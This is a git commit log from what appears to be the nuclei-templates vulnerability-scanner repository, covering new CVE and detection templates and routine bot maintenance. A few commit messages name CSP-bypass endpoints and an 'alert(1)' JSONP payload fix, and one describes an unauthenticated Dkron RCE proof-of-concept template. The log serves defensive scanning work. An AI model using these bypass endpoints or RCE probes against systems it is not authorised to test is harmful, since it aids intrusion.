2025-09-02 03:09:08 -07:00
ghost 80bedd2162 chore: generate templates checksum 🤖 2025-09-02 10:05:34 +00:00
ghost 93f139b277 chore: sign templates 🤖 2025-09-02 10:05:31 +00:00
Dhiyaneshwaran 2df39c9f27 Merge pull request #12760 from projectdiscovery/pussycat0x-patch-8
FP -fix ftp-anonymous-login.yaml
2025-09-02 03:05:10 -07:00
ghost d3d897566a chore: generate new addition list 🤖 2025-09-02 10:04:36 +00:00
ghost ef0435f9a0 chore: generate templates checksum 🤖 2025-09-02 10:04:31 +00:00
ghost dc322dc7f2 chore: sign templates 🤖 2025-09-02 10:04:24 +00:00
Dhiyaneshwaran c74899dd6a Merge pull request #13024 from icarot/main
Create dkron-detect.yaml and dkron-unauthenticated-rce.yaml
2025-09-02 03:04:04 -07:00
Dhiyaneshwaran 65ddf7a2a1 Refactor dkron vulnerability YAML for clarity and updates 2025-09-02 15:22:48 +05:30
ghost 690ae6ede8 chore: generate new addition list 🤖 2025-09-02 09:09:24 +00:00
ghost dd467f55dc chore: generate templates checksum 🤖 2025-09-02 09:09:21 +00:00
ghost e9e924a78d chore: generate CVEs metadata 🤖 2025-09-02 09:09:17 +00:00
Ritik Chaddha d5055c08c0 Merge pull request #13053 from halil-s4e/CVE-2024-51568
add CVE-2024-51568
2025-09-02 14:38:51 +05:30
Ritik Chaddha ed94455732 Update CVE-2024-51568.yaml 2025-09-02 14:33:39 +05:30
Dhiyaneshwaran cef05bbd93 fix-template 2025-09-02 14:03:11 +05:30
ghost 13a969af14 chore: generate templates checksum 🤖 2025-09-02 08:20:17 +00:00
ghost 00dc18ebd4 chore: sign templates 🤖 2025-09-02 08:20:14 +00:00
Dhiyaneshwaran 2c1ace0138 Merge pull request #13062 from Jaenact/remove-cps-bypass
chore(csp-bypass): Remove patched or non-working endpoints
2025-09-02 01:19:50 -07:00
ghost b297323e40 chore: generate new addition list 🤖 2025-09-02 08:13:01 +00:00
ghost dc201a987a chore: generate templates checksum 🤖 2025-09-02 08:12:50 +00:00
ghost f8e9c22f13 chore: sign templates 🤖 2025-09-02 08:12:48 +00:00
Dhiyaneshwaran 9f819f1433 Merge pull request #13064 from Jaenact/edit-csp-bypass
fix(csp-bypass): Correct protocols and payloads for several endpoints
2025-09-02 01:12:26 -07:00
Jaenact 1f94fa4b1e fix(csp-bypass): Correct protocols and payloads for several endpoints
This commit applies several corrections to the CSP bypass list to align with recent changes in the renniepak/CSPBypass repository.

- Protocol Updates: Updated the following endpoints from HTTP to HTTPS:
  - links.services.disqus.com
  - clients1.google.com

- Payload Fix: Corrected the JSONP payload syntax for the following endpoint:
  - client.crisp.chat (alert(1);/* -> alert(1)//)
2025-09-02 16:32:30 +09:00
ghost 41c1910f1a chore: generate templates checksum 🤖 2025-09-02 07:15:59 +00:00
ghost 52c17171aa chore: sign templates 🤖 2025-09-02 07:15:53 +00:00
pussycat0x 3d8f8b0b80 Merge pull request #13051 from Mys7ic/addFtpDetect
Add ftp detect
2025-09-02 12:45:28 +05:30
Jaenact 58148e8875 chore(csp-bypass): Remove patched or non-working endpoints
This commit removes multiple CSP bypass endpoints that have been patched or are otherwise no longer vulnerable. To maintain consistency, the corresponding YAML templates and their entries in data.tsv have been deleted.
2025-09-02 16:09:28 +09:00
Dominik Prodinger 5e0c5a2523 Add template for CVE-2025-57822
Signed-off-by: Dominik Prodinger <[email protected]>
2025-09-02 09:09:16 +02:00
pussycat0x a53dcc2319 Update ftp-detect.yaml 2025-09-02 12:37:19 +05:30
pussycat0x c3961e85a3 Merge pull request #13055 from AJ0070/fix/typo-contributing
Fixed a typo
2025-09-02 12:34:42 +05:30
Dhiyaneshwaran cf19cd86ef Update ftp-detect.yaml 2025-09-02 12:07:40 +05:30
DhiyaneshwaranandChris 5108473274 Update http/cves/2024/CVE-2024-51568.yaml
Co-authored-by: Chris <[email protected]>
2025-09-02 12:01:01 +05:30
Jash Ambaliya 5e4bd69c54 Fixed a typo 2025-09-02 09:51:42 +05:30
pussycat0x 010992e451 Update ftp-workflow.yaml 2025-09-02 09:02:02 +05:30
ghost aa7862bc06 chore: update KEV tags and metadata 🤖 2025-09-02 03:20:28 +00:00
ghost 3b4d277df9 chore: update EPSS scores 🤖 2025-09-02 02:30:24 +00:00
ghost a5168d1087 chore: sign templates 🤖 2025-09-01 20:54:11 +00:00
ghost a65e317a1e chore: generate new addition list 🤖 2025-09-01 20:54:10 +00:00
ghost d49c975745 chore: generate templates checksum 🤖 2025-09-01 20:54:06 +00:00
Dhiyaneshwaran 726d62a682 Merge pull request #13052 from projectdiscovery/pussycat0x-patch-15
Fp- Fix CVE-2022-42475.yaml
2025-09-01 13:53:38 -07:00
pussycat0x 27439042f4 Update hikvision-cam-info-exposure.yaml 2025-09-02 01:13:47 +05:30
pussycat0x d52e5357bc Update ftp-anonymous-login.yaml 2025-09-02 01:06:36 +05:30
pussycat0x 4326303f78 minor - changes 2025-09-01 22:44:42 +05:30
halil 1b56cdfb8f add CVE-2024-51568 2025-09-01 18:50:23 +03:00
Dhiyaneshwaran fe35a7785a fix-indent 2025-09-01 18:30:27 +05:30
Dhiyaneshwaran 1672bfe19f Fix indentation in CVE-2022-42475.yaml 2025-09-01 18:24:52 +05:30
Dhiyaneshwaran 348b0285ce fix-trail-space 2025-09-01 18:19:48 +05:30
pussycat0x da9520afc6 Fp- Fix CVE-2022-42475.yaml 2025-09-01 18:07:23 +05:30
Anton Strilez 8bb4d1dbcb typo 2025-09-01 14:13:03 +02:00
Anton Strilez aa739e95dc add ftp detect and workflow 2025-09-01 14:09:28 +02:00
ghost d104571f3a chore: generate templates checksum 🤖 2025-09-01 10:42:36 +00:00
ghost c8e14d2b3f chore: sign templates 🤖 2025-09-01 10:42:26 +00:00
ghost cb10b6f518 chore: generate CVEs metadata 🤖 2025-09-01 10:42:23 +00:00
pussycat0x 4b11aa947e Merge pull request #13028 from halil-s4e/CVE-2024-11972
add  CVE-2024-11972
2025-09-01 16:12:03 +05:30
ghost 5da16f5997 chore: generate new addition list 🤖 2025-09-01 05:51:06 +00:00
ghost b81cae7d3a chore: generate templates checksum 🤖 2025-09-01 05:51:04 +00:00
ghost d8a56284a0 chore: generate CVEs metadata 🤖 2025-09-01 05:50:59 +00:00
ghost d76878bb8a chore: sign templates 🤖 2025-09-01 05:50:55 +00:00
pussycat0x 750c61fe5a Merge pull request #13014 from projectdiscovery/CVE-2025-53118
Add CVE-2025-53118 - (Securden Unified PAM - Authentication Bypass)
2025-09-01 11:20:34 +05:30
Dhiyaneshwaran cf0f868192 minor tag update 2025-09-01 11:09:16 +05:30
ghost 62baaa84d0 chore: update KEV tags and metadata 🤖 2025-09-01 03:29:50 +00:00
ghost 71d45919ce chore: generate templates checksum 🤖 2025-09-01 03:03:05 +00:00
ghost 68040b366d chore: sign templates 🤖 2025-09-01 03:02:59 +00:00
Prince Chaddha 0e4b3ef775 Merge pull request #13046 from projectdiscovery/Nuclei-Templates-v10.2.8---Release-Prep
Nuclei Templates v10.2.8 - Release Prep #12593
2025-09-01 11:02:39 +08:00
Prince Chaddha 9c153fa5d7 updated deprecated protocol syntax 2025-09-01 10:55:38 +08:00
Prince Chaddha d3d660712c Merge branch 'main' of https://github.com/projectdiscovery/nuclei-templates 2025-09-01 10:45:59 +08:00
ghost 11e071f7bc chore: update EPSS scores 🤖 2025-09-01 02:36:01 +00:00
Prince Chaddha 6ba7127097 Merge branch 'main' of https://github.com/projectdiscovery/nuclei-templates 2025-08-31 22:56:23 +08:00
ghost 493ddf2117 chore: generate templates checksum 🤖 2025-08-31 14:55:20 +00:00
ghost 89a5c10872 chore: sign templates 🤖 2025-08-31 14:55:14 +00:00
Prince Chaddha 6bed12e2b5 Merge pull request #12999 from projectdiscovery/updated-kev
Updated KEV Tags
2025-08-31 20:24:55 +05:30
Prince Chaddha e2030e26bc Merge branch 'main' into updated-kev 2025-08-31 20:15:51 +05:30
ghost 56396cca29 chore: update EPSS scores 🤖 2025-08-31 02:30:46 +00:00
ghost dfe54e0dfe chore: generate new addition list 🤖 2025-08-30 18:47:48 +00:00
ghost 134d33533c chore: sign templates 🤖 2025-08-30 18:47:39 +00:00
ghost aff0084909 chore: generate templates checksum 🤖 2025-08-30 18:47:38 +00:00
ad37872179 add CVE-2025-22457 - Ivanti - Buffer Overflow (#12978)
* add cve 2025 22457

* some enhancements

* fix-spacing

---------

Co-authored-by: Prince Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2025-08-31 00:17:15 +05:30
ghost ba91d8be2e chore: generate new addition list 🤖 2025-08-30 15:49:17 +00:00
ghost 036ff2a706 chore: generate templates checksum 🤖 2025-08-30 15:49:10 +00:00
ghost 6855fa937e chore: sign templates 🤖 2025-08-30 15:49:08 +00:00
ghost 7a1dcc1e71 chore: generate CVEs metadata 🤖 2025-08-30 15:49:07 +00:00
Dhiyaneshwaran 92b1a828f7 Create CVE-2025-25231.yaml (#13034) 2025-08-30 21:18:47 +05:30
Prince Chaddha 06afab2378 Merge branch 'main' of https://github.com/projectdiscovery/nuclei-templates 2025-08-30 22:48:53 +08:00
ghost 01a2f8b961 chore: generate new addition list 🤖 2025-08-30 06:46:10 +00:00
ghost de2cc52ebd chore: generate templates checksum 🤖 2025-08-30 06:46:00 +00:00
ghost b1bfe6a3c4 chore: sign templates 🤖 2025-08-30 06:45:57 +00:00
Ritik Chaddha 6123705b26 Merge pull request #13031 from tess-ss/patch-263300
Create portal-api-ssrf.yaml
2025-08-30 12:15:35 +05:30
Dhiyaneshwaran 25cf291c42 Update and rename portal-api-ssrf.yaml to http/misconfiguration/portal-api-ssrf.yaml 2025-08-30 11:57:01 +05:30
Arman 667f829e3e Create portal-api-ssrf.yaml 2025-08-29 23:27:44 -04:00
ghost 3a475e0cb4 chore: update EPSS scores 🤖 2025-08-30 02:27:03 +00:00
halil b722543071 add CVE-2024-11972 2025-08-29 18:47:56 +03:00
pussycat0x 04583a8810 Update freepbx-cleanup-backdoor.yaml 2025-08-29 21:11:45 +05:30
ghost 93d84deb8f chore: generate new addition list 🤖 2025-08-29 11:42:48 +00:00
ghost 15632f718c chore: generate templates checksum 🤖 2025-08-29 11:42:42 +00:00
ghost a987479d29 chore: sign templates 🤖 2025-08-29 11:42:39 +00:00
Dhiyaneshwaran ff7a2788e0 Merge pull request #13001 from projectdiscovery/pussycat0x-patch-15
Create ajp-protocol-detect.yaml
2025-08-29 04:42:16 -07:00
pussycat0x 599d063b2e Update ajp-protocol-detect.yaml 2025-08-29 16:05:14 +05:30
ghost cda27fba4e chore: generate new addition list 🤖 2025-08-29 10:33:52 +00:00
ghost a7bbec4e77 chore: sign templates 🤖 2025-08-29 10:33:46 +00:00
ghost 35ae9b589d chore: generate templates checksum 🤖 2025-08-29 10:33:43 +00:00
Dhiyaneshwaran 8416bb3d1e Merge pull request #12990 from matejsmycka/anonymous-sccm
feat: add template for Microsoft SCCM - Anonymous DP Accesss
2025-08-29 03:33:19 -07:00
ghost e53e85619a chore: generate new addition list 🤖 2025-08-29 10:29:36 +00:00
ghost 0a8eb6d5fc chore: generate templates checksum 🤖 2025-08-29 10:29:32 +00:00
ghost 6f73d39644 chore: sign templates 🤖 2025-08-29 10:29:30 +00:00
ghost 74945b36ff chore: generate CVEs metadata 🤖 2025-08-29 10:29:26 +00:00
Dhiyaneshwaran 118831b577 Merge pull request #13015 from projectdiscovery/CVE-2025-54125
Create CVE-2025-54125.yaml
2025-08-29 03:29:02 -07:00
ghost 9aeb824c14 chore: generate new addition list 🤖 2025-08-29 10:24:09 +00:00
ghost 06b75f11e6 chore: generate templates checksum 🤖 2025-08-29 10:24:06 +00:00
ghost 08af5ec5de chore: generate CVEs metadata 🤖 2025-08-29 10:24:02 +00:00
ghost 6962c7d05a chore: sign templates 🤖 2025-08-29 10:23:59 +00:00
Dhiyaneshwaran 52f0014be0 Merge pull request #13016 from projectdiscovery/CVE-2025-46554
Create CVE-2025-46554.yaml
2025-08-29 03:23:36 -07:00
ghost 25b5c6c106 chore: generate new addition list 🤖 2025-08-29 10:19:35 +00:00
ghost ec22859ed3 chore: generate templates checksum 🤖 2025-08-29 10:19:25 +00:00
ghost 454540a9ea chore: generate CVEs metadata 🤖 2025-08-29 10:19:23 +00:00
ghost 61cff77927 chore: generate new addition list 🤖 2025-08-29 10:19:19 +00:00
Dhiyaneshwaran 78f315fa67 Merge pull request #13017 from projectdiscovery/CVE-2025-32970
Create CVE-2025-32970.yaml
2025-08-29 03:18:58 -07:00
Dhiyaneshwaran b72ac64734 Merge pull request #13018 from projectdiscovery/CVE-2025-29925
Create CVE-2025-29925.yaml
2025-08-29 03:18:46 -07:00
Dhiyaneshwaran 79eb293f1b Refactor matchers in CVE-2025-29925.yaml 2025-08-29 15:44:00 +05:30
ghost a96d1c51af chore: generate new addition list 🤖 2025-08-29 10:07:05 +00:00
ghost de4abbabc1 chore: sign templates 🤖 2025-08-29 10:07:02 +00:00
ghost f4b773181c chore: generate CVEs metadata 🤖 2025-08-29 10:06:56 +00:00
ghost c4e2dbbb52 chore: generate templates checksum 🤖 2025-08-29 10:06:54 +00:00
Dhiyaneshwaran 97846f1d29 Merge pull request #13019 from projectdiscovery/CVE-2025-32969
Create CVE-2025-32969.yaml
2025-08-29 03:06:31 -07:00
ghost c56bed2638 chore: generate templates checksum 🤖 2025-08-29 10:06:12 +00:00
ghost fc254a067f chore: sign templates 🤖 2025-08-29 10:06:03 +00:00
Dhiyaneshwaran d4157d6a7d Merge pull request #13022 from projectdiscovery/Local-tag
Local tag - update
2025-08-29 03:05:40 -07:00
ghost 8ea746c4c5 chore: generate templates checksum 🤖 2025-08-29 08:10:23 +00:00
ghost 302545c9a6 chore: sign templates 🤖 2025-08-29 08:09:54 +00:00
Ritik Chaddha 3b13f68f75 Merge pull request #13026 from MaineK00n/patch-2
fix: update matchers words in CVE-2000-0114.yaml
2025-08-29 13:39:30 +05:30
MaineK00n 8c359fccde fix: update matchers words in CVE-2000-0114.yaml 2025-08-29 13:08:06 +09:00
ghost ffad1ab13b chore: update EPSS scores 🤖 2025-08-29 02:29:30 +00:00
Icaro Torres 38bde65e91 Create dkron-unauthenticated-rce.yaml
Executes a Proof of Concept (PoC) of the Unauthenticated Remote Command Execution (RCE) in a exposed Dkron server, a distributed, fault tolerant job scheduling system for cloud native environments.
2025-08-28 22:39:05 -03:00
Icaro Torres 20fb2ef041 Create dkron-detect.yaml
Detects a Dkron server, a distributed, fault tolerant job scheduling system for cloud native environments.
2025-08-28 22:37:54 -03:00
Chris f6b4c4811c Add last-m extractor to freepbx-cleanup-backdoor 2025-08-28 22:02:03 +02:00
pussycat0x f94b45a129 Local tag - update 2025-08-28 23:41:32 +05:30
Chris 45cf5f055e Add CVE-2025-57819 reference 2025-08-28 19:42:44 +02:00
Chris 1cc60032fc Fix lint 2025-08-28 19:38:36 +02:00
Chris e70c03340b Fix lint 2025-08-28 19:33:55 +02:00
Chris a6a958ce4c Add workflow, backdoor detection, fix template lint error 2025-08-28 19:29:01 +02:00
Chris 1b3da3701a Update freepbx-administration-panel
- Additional Shodan/FOFA queries
- Remove Google dork which no longer works
- Add version extract
- Change the word matches to cover multilanguage versions
2025-08-28 19:17:32 +02:00
Prince Chaddha b483115b2e Merge branch 'main' of https://github.com/projectdiscovery/nuclei-templates 2025-08-28 21:47:23 +05:30
ritikchaddha 7b2bb92261 Create CVE-2025-29925.yaml 2025-08-28 19:11:55 +05:30
ritikchaddha 97207bacaa Create CVE-2025-32969.yaml 2025-08-28 19:11:24 +05:30
ritikchaddha 70d4baa652 Create CVE-2025-32970.yaml 2025-08-28 19:10:03 +05:30
ritikchaddha c29576d964 Create CVE-2025-46554.yaml 2025-08-28 19:09:35 +05:30
ritikchaddha 46c5137f98 Create CVE-2025-54125.yaml 2025-08-28 19:08:32 +05:30
Dhiyaneshwaran 2700ba6717 Add CVE-2025-53118 for authentication bypass vulnerability
Added CVE-2025-53118 entry detailing an authentication bypass vulnerability in Securden Unified PAM.
2025-08-28 15:59:39 +05:30
Damian Sniezek 05368253a6 fix: exclude float number with fractional part equals to cc number 2025-08-28 10:46:29 +02:00
ghost d281ee55f7 chore: generate new addition list 🤖 2025-08-28 06:29:07 +00:00
ghost 88076a8e44 chore: generate CVEs metadata 🤖 2025-08-28 06:29:03 +00:00
ghost 34b40f54f7 chore: generate templates checksum 🤖 2025-08-28 06:28:59 +00:00
ghost d5f6821516 chore: sign templates 🤖 2025-08-28 06:28:56 +00:00
Dhiyaneshwaran adf3316b7d Merge pull request #12996 from projectdiscovery/pussycat0x-patch-13
Create CVE-2025-54309.yaml (CrushFTP - Authentication Bypass Race Condition)
2025-08-27 23:28:36 -07:00
ghost 469ebbf436 chore: generate templates checksum 🤖 2025-08-28 06:26:51 +00:00
ghost 32c44e50f8 chore: sign templates 🤖 2025-08-28 06:26:47 +00:00
Dhiyaneshwaran 71177e5709 Merge pull request #12997 from projectdiscovery/WT-2025-0047
Revise CVE-2025-57788 with updated details and extractors
2025-08-27 23:26:26 -07:00
ghost 7074dcc1e5 chore: generate new addition list 🤖 2025-08-28 06:25:13 +00:00
ghost 4ef2151d67 chore: generate templates checksum 🤖 2025-08-28 06:25:03 +00:00
Dhiyaneshwaran 06a080f628 Merge pull request #13007 from projectdiscovery/pussycat0x-patch-17
Create echo-detect.yaml
2025-08-27 23:24:40 -07:00
Dhiyaneshwaran 8787a8fd2c Merge pull request #13010 from projectdiscovery/princechaddha-patch-9
Update tomcat-stacktraces.yaml Severity
2025-08-27 23:24:31 -07:00
ghost 99368ab53b chore: generate new addition list 🤖 2025-08-28 06:23:37 +00:00
ghost d7f58cb226 chore: generate templates checksum 🤖 2025-08-28 06:23:36 +00:00
ghost 15b34f24f8 chore: sign templates 🤖 2025-08-28 06:23:28 +00:00
Dhiyaneshwaran 19e62bac1e Merge pull request #13005 from projectdiscovery/pussycat0x-patch-16
Create afp-server-detect.yaml
2025-08-27 23:23:05 -07:00
ghost 08fb2f974c chore: sign templates 🤖 2025-08-28 06:22:57 +00:00
Dhiyaneshwaran 1b9bb51650 Merge pull request #13004 from darses/patch-51
Update opnsense-panel
2025-08-27 23:22:38 -07:00
ghost b46283aaee chore: generate CVEs metadata 🤖 2025-08-28 06:04:29 +00:00
ghost b894623eef chore: sign templates 🤖 2025-08-28 06:04:23 +00:00
Prince Chaddha 8ba9ac5c4f Merge pull request #12414 from matejsmycka/update-cve-200-0114
Update CVE-2000-0114
2025-08-28 11:34:02 +05:30
Prince Chaddha 67244e9f75 Merge branch 'main' of https://github.com/projectdiscovery/nuclei-templates 2025-08-28 11:26:55 +05:30
Prince Chaddha 3be49af101 Update tomcat-stacktraces.yaml 2025-08-28 11:19:10 +05:30
Ritik Chaddha 8c9716c37b Update anonymous-distribution-point-sccm.yaml 2025-08-28 11:06:19 +05:30
Ritik Chaddha 22b4f1f8d0 Merge branch 'main' into update-cve-200-0114 2025-08-28 10:58:24 +05:30
Ritik Chaddha 521c8ae4c4 updated info, matcher & added extractor 2025-08-28 10:56:02 +05:30
ghost df193f5498 chore: update EPSS scores 🤖 2025-08-28 02:29:34 +00:00
pussycat0x 18bd271647 Create echo-detect.yaml 2025-08-28 01:28:20 +05:30
Sandeep SinghandChris 7d45e20514 Apply suggestion from @darses
Co-authored-by: Chris <[email protected]>
2025-08-28 01:25:15 +05:30
pussycat0x 7781aa7aa2 Create afp-server-detect.yaml 2025-08-28 00:19:45 +05:30
ghost c6c6a701c8 chore: sign templates 🤖 2025-08-27 18:16:17 +00:00
Chris 9541963cee Update opnsense-panel
- Add vendor/product
- Add Shodan/FOFA queries
2025-08-27 20:16:10 +02:00
Dhiyaneshwaran 27fa9904a7 Merge pull request #13003 from projectdiscovery/pussycat0x-patch-16
Rename nats-server-enum.yaml to nats-server-enum.yaml
2025-08-27 11:15:54 -07:00
pussycat0x 6953deb4c0 Rename nats-server-enum.yaml to nats-server-enum.yaml 2025-08-27 23:39:43 +05:30
ghost 2461dbbc6e chore: generate templates checksum 🤖 2025-08-27 17:23:23 +00:00
ghost 2bad4b6fe4 chore: sign templates 🤖 2025-08-27 17:23:21 +00:00
Dhiyaneshwaran 7e50a7ba4c Merge pull request #13002 from projectdiscovery/added-case-sensitive-php
Add Case Sensitive entry for phpMyAdmin setup path
2025-08-27 10:22:58 -07:00
Dhiyaneshwaran ccea1c9900 Add Case Sensitive entry for phpMyAdmin setup path 2025-08-27 22:48:11 +05:30
pussycat0x bfeb973e8f Create ajp-protocol-detect.yaml 2025-08-27 18:33:00 +05:30
Prince Chaddha a4c2be2d31 updated KEV tags 2025-08-27 14:58:14 +05:30
Matej Smycka 8c63bb00e2 feat: add stronger matchers 2025-08-27 10:58:17 +02:00
Matej Smycka 56619699f9 fix: yaml errors due to conflict 2025-08-27 10:08:37 +02:00
Matej Smycka 7c3462065f Merge branch 'main' into update-cve-200-0114 2025-08-27 09:56:18 +02:00
Dhiyaneshwaran f7874c129f Revise CVE-2025-57788 with updated details and extractors 2025-08-27 13:02:35 +05:30
Prince ChaddhaandClaude 896b3b79dc Fix KEV workflow to use tags field only (remove vKEV)
- Removed all vKEV functionality as requested
- Fixed KEV script to only add 'kev' to tags field (not metadata)
- Simplified workflow to focus on CISA KEV catalog only
- Script now correctly adds/removes kev tags in tags field
- Removed VulnCheck API integration placeholder

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <[email protected]>
2025-08-27 12:40:47 +05:30
pussycat0x cfe7c240d7 Create CVE-2025-54309.yaml 2025-08-27 12:38:53 +05:30
Prince ChaddhaandClaude 32aa6850ce Add GitHub Actions workflow for daily KEV tag updates
- Created kev-update.yml workflow that runs daily at 3:00 AM UTC
- Added update-kev.py script that fetches CISA KEV catalog
- Automatically adds kev tags and metadata to CVE templates in CISA KEV catalog
- Includes placeholder for VulnCheck KEV (vkev) integration
- Processes 1400+ CISA KEV entries and updates templates accordingly
- Includes safeguards to prevent removal of valid KEV tags

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <[email protected]>
2025-08-27 11:48:13 +05:30
Prince ChaddhaandClaude 1ef048433c Add GitHub Actions workflow for daily EPSS score updates
- Created epss-update.yml workflow that runs daily at 2:00 AM UTC
- Added update-epss.py script that fetches EPSS scores from FIRST API
- Automatically updates all CVE templates with latest EPSS scores and percentiles
- Includes rate limiting and error handling for API requests
- Processes over 3000+ CVE templates in batches

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <[email protected]>
2025-08-27 11:29:08 +05:30
ghost a6d19aab42 chore: generate new addition list 🤖 2025-08-27 03:59:44 +00:00
ghost 2d6b07d4ed chore: generate templates checksum 🤖 2025-08-27 03:59:38 +00:00
ghost 605aebae63 chore: sign templates 🤖 2025-08-27 03:59:34 +00:00
Dhiyaneshwaran 2a86884648 Merge pull request #12962 from halil-s4e/CVE-2025-1562
CVE-2025-1562 - Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit - Broken Access Control
2025-08-26 20:59:13 -07:00
Dhiyaneshwaran 6ea319f923 fix-template-format 2025-08-27 09:20:42 +05:30
ghost 0bf707b185 chore: generate templates checksum 🤖 2025-08-27 03:24:29 +00:00
ghost c73b466238 chore: generate new addition list 🤖 2025-08-27 03:24:19 +00:00
ghost aa5379b2eb chore: sign templates 🤖 2025-08-27 03:24:08 +00:00
Dhiyaneshwaran 824c21c1fe Merge pull request #12835 from songyaeji/pr5-home-ownerless-worldwrite
Add Templates for Ownerless Files, Home Directory, and World-Writable Files
2025-08-26 20:23:48 -07:00
Dhiyaneshwaran 38f1ebf515 Merge branch 'main' into pr5-home-ownerless-worldwrite 2025-08-26 20:15:59 -07:00
ghost 594307b6ee chore: generate new addition list 🤖 2025-08-27 03:14:49 +00:00
ghost 8a6c584398 chore: generate templates checksum 🤖 2025-08-27 03:14:44 +00:00
ghost fa399da278 chore: sign templates 🤖 2025-08-27 03:14:40 +00:00
Dhiyaneshwaran a176bffeaa Merge pull request #12886 from mmqnym/add_openrouter_key
feat: add template to check openrouter key in files
2025-08-26 20:14:15 -07:00
ghost 9a6d93e5a4 chore: generate new addition list 🤖 2025-08-27 03:03:34 +00:00
ghost e6958bfebd chore: sign templates 🤖 2025-08-27 03:03:25 +00:00
pussycat0x 21b25356c4 Merge pull request #12988 from projectdiscovery/11589-fix-issue
Revise name and description in addeventlistener-detect.yaml
2025-08-27 08:33:05 +05:30
ghost 3b5d93ebb7 chore: generate templates checksum 🤖 2025-08-27 03:02:59 +00:00
ghost dc771a8a94 chore: sign templates 🤖 2025-08-27 03:02:52 +00:00
pussycat0x b9079d5c05 Merge pull request #12436 from matejsmycka/default_atlona
Add Atlona AT-OME-MS42 default login template
2025-08-27 08:32:29 +05:30
pussycat0x e3afa0b8b6 Update CVE-2025-1562.yaml 2025-08-26 21:51:35 +05:30
Matej Smycka 23d7d25971 chore: fix formatting issues in anonymous distribution point SCCM template 2025-08-26 15:40:52 +02:00
Matej Smycka 2ef9faade4 feat: add template for Microsoft SCCM - Anonymous Distribution Point Access 2025-08-26 15:28:49 +02:00
ghost 0c229d8ae9 chore: generate templates checksum 🤖 2025-08-26 12:14:36 +00:00
ghost 1588959778 chore: sign templates 🤖 2025-08-26 12:14:29 +00:00
8cc6419717 fix(gcloud-service-account-user-keys): update matcher for user-managed keys (#12989)
* fix(gcloud-service-account-user-keys): update matcher for user-managed keys

* good to keep old one unless it's problematic

---------

Co-authored-by: Luc Charpentier <[email protected]>
Co-authored-by: PDTeamX <[email protected]>
2025-08-26 17:44:09 +05:30
Dhiyaneshwaran 5ad4d6443f Revise name and description in addeventlistener-detect.yaml
Updated the name and description for clarity.
2025-08-26 16:25:18 +05:30
ghost 72e7e6b11a chore: generate templates checksum 🤖 2025-08-26 05:50:37 +00:00
ghost 060146f6e9 chore: sign templates 🤖 2025-08-26 05:50:35 +00:00
pussycat0x bcda80b02e Merge pull request #12490 from darses/patch-28
Update CVE-2024-36404 and CVE-2025-30220
2025-08-26 11:20:12 +05:30
Ritik Chaddha e64e1814fe Update openrouter-key.yaml 2025-08-25 23:27:04 +05:30
ghost 06322adf46 chore: generate new addition list 🤖 2025-08-25 17:49:10 +00:00
ghost a6f8cbb843 chore: generate templates checksum 🤖 2025-08-25 17:49:09 +00:00
ghost 1be19faa7b chore: sign templates 🤖 2025-08-25 17:48:59 +00:00
Ritik Chaddha 3affb386ad Merge pull request #12971 from righettod/meshery_add
Add detection of MESHERY instances.
2025-08-25 23:18:37 +05:30
pussycat0x 6783cd0853 Update & Dir changes 2025-08-25 20:46:27 +05:30
ghost bdde1e9f96 chore: generate templates checksum 🤖 2025-08-25 13:43:37 +00:00
ghost db59105e22 chore: sign templates 🤖 2025-08-25 13:43:29 +00:00
4d73fca556 chore: update TFTP - add additional matchers (#12983)
* chore: update TFTP - add additional matchers

* fix: remove empty matcher

* Update tftp-detect.yaml

---------

Co-authored-by: Matej Smycka <[email protected]>
Co-authored-by: pussycat0x <[email protected]>
2025-08-25 19:13:06 +05:30
Sandeep Singh 226d8f0006 Add comprehensive template creation and review guides (#12935)
- TEMPLATE-REVIEW-GUIDE.md: Internal data-driven review guide with actionable checklists and matcher quality framework
- TEMPLATE-CREATION-GUIDE.md: Complete guide for template authors with step-by-step creation workflow and examples

Both guides include:
- Vulnerability-specific matcher examples
- False positive prevention techniques
- Quality standards and best practices
- Official documentation references
- Community support channels
2025-08-25 19:11:47 +05:30
ghost aaeb3ca807 chore: generate templates checksum 🤖 2025-08-25 08:40:37 +00:00
ghost 4090d1f9da chore: sign templates 🤖 2025-08-25 08:40:26 +00:00
pussycat0x 85170dfa8a Merge pull request #12981 from MaineK00n/patch-2
fix: add space for list item in tcpwrapper-access.yaml
2025-08-25 14:10:05 +05:30
MaineK00n 1d49759282 fix: add space for list item in tcpwrapper-access.yaml 2025-08-25 17:30:06 +09:00
ghost 733bdd1afb chore: sign templates 🤖 2025-08-24 13:27:26 +00:00
ghost e5241cf955 chore: generate new addition list 🤖 2025-08-24 13:27:23 +00:00
ghost 2a6f333051 chore: generate templates checksum 🤖 2025-08-24 13:27:22 +00:00
ghost e9a412f0a3 chore: generate CVEs metadata 🤖 2025-08-24 13:27:14 +00:00
4287cbb162 Create CVE-2018-7841.yaml (#12967)
* Create CVE-2018-7841.yaml

* Update CVE-2018-7841

* Remove trailing spaces

* Fix AI error

* update as per detection

* moving template to correct dir

* fix-template

---------

Co-authored-by: PDTeamX <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2025-08-24 18:56:53 +05:30
dependabot[bot] 73b072eb95 chore(deps): bump actions/checkout from 4 to 5 (#12916)
Bumps [actions/checkout](https://github.com/actions/checkout) from 4 to 5.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-08-24 15:16:02 +05:30
Dominique RIGHETTO 9a2363d075 Add files via upload 2025-08-24 09:48:15 +02:00
Dhiyaneshwaran bdc7c9b997 fix-template-format 2025-08-24 12:51:29 +05:30
ghost 095a189f72 chore: generate new addition list 🤖 2025-08-24 07:07:36 +00:00
ghost 7b7ebd331e chore: sign templates 🤖 2025-08-24 07:07:31 +00:00
Dhiyaneshwaran 91c23b414c Merge pull request #12825 from nukunga/CVE-2025-51502
add CVE-2025-51502 template for Microweber CMS XSS vulnerability
2025-08-24 00:07:07 -07:00
